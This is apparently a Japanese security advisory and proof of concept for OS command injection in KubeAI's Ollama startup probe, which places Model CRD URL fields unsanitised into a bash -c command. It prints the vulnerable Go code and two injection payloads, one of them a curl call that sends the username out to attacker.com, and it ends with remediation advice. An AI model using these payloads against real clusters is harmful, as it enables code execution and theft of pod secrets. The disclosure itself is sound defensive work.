
KubeAIのOllama起動プローブにおけるOSコマンドインジェクションの概念実証であり、細工されたModel CRD URLを介してKubernetesモデルポッド内で任意のコード実行を実証するものです。
深刻度: 高 (CVSS 8.7)
CWE: CWE-78 — OS コマンドに使用される特殊要素の不適切な中和
影響を受けるバージョン: github.com/kubeai-project/kubeai <= 0.23.1
修正バージョン: 0.23.2
アドバイザリ: GHSA-324q-cwx9-7crr
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940
クレジット: Romain Deperne
KubeAI は、Go の fmt.Sprintf を介して Model CRD の URL コンポーネント (ref、modelParam) を bash -c コマンドに補間することで、Kubernetes の起動プローブ用シェルスクリプトを構築します。URL 内のシェルメタ文字はサニタイズされていないため、Model CRD の作成/更新 RBAC を持つ任意のユーザーが、クラスタ管理者権限なしでモデルサーバーポッド内で任意のコマンドを実行できます。
私は Kubernetes の AI 推論オペレーター — CRD を作成することで LLM を K8s ワークロードとしてデプロイできるツール — を調査していました。KubeAI は Ollama、vLLM、その他のエンジンをサポートしています。私の仮説は次のとおりでした: ユーザーが Model CRD を作成できるなら、モデルポッド内で実行される内容に影響を与えられるのではないか?
vLLM エンジンのコードはすぐに正しいパターンを示していました: 引数は文字列配列として exec に渡され、シェルは関与していません。そこで対比として Ollama エンジンを見たところ、fmt.Sprintf("%s %s", pullCmd, u.ref) が bash -c に渡されているのを発見しました。典型的なシェルインジェクションの構図です。
これを決定づけるのは URL パーサーの正規表現 [^?]+ (? 以外のすべて) です: セミコロン、バッククォート、$() はすべて u.ref 内で有効です。私は PoC の YAML を書き、適用し、モデルポッド内で id > /tmp/pwned が実行されるのを確認しました。
これをより深刻なものにしている微妙な点は次のとおりです: マルチテナントの K8s クラスタでは、Model CRD の RBAC は明示的にクラスタ管理者ではないチームに付与されることがよくあります。これにより、制限された権限を持つテナントが、マウントされたシークレットやサービスアカウントトークンへのアクセスを含め、モデルポッド内で任意のコード実行に至る直接的な経路を得ることになります。これは K8s RBAC が強制するはずの権限境界を越えるものです。
ファイル: internal/modelcontroller/engine_ollama.go、185〜196 行目
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref and u.modelParam come from the Model CRD URL field — user controlled
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: no sanitization
)
// ...
}
これは次のように実行されます:
Command: []string{"bash", "-c", startupProbeScript}
URLパーサー (model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Capture group 2 ([^?]+) allows any character except '?'
// Shell metacharacters ; | $() ` are all valid
vLLMエンジンとの対比(安全):
// engine_vllm.go — args passed as array, no shell involved
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
Ollama エンジンは近道をしており、複数ステップのシェルパイプラインを文字列として構築し、それを bash -c に渡しています。vLLM エンジンは exec 形式の引数配列を使用しています。URL フィールドを安全な文字に制限するアドミッション Webhook や CRD スキーマ検証は存在しません。
poc.yaml を参照してください — Ollama モデルを実行している KubeAI クラスタ上で kubectl apply -f poc.yaml を実行して適用します。
ベクター 1 — ollama:// URL 参照 (セミコロンインジェクション):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
生成されたスタートアッププローブ:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
id>/tmp/pwned が実行され、ポッド内の /tmp/pwned に uid=0(root)... が書き込まれます。
ベクター2 — ?model= クエリパラメータ(OOB 外部送信):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
生成されたプローブ:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
ポッドのユーザー名を攻撃者が制御するサーバーへ窃取します。
Model CRD の RBAC を持つ任意のユーザーによる、モデルサーバーポッド内での任意のコマンド実行bash -c <string> を、引数を配列として渡す exec 形式のプローブに置き換える(vLLM エンジンがすでに行っているように)、または補間前に URL フィールドを ^[a-zA-Z0-9._:/-]+$ に対して検証する。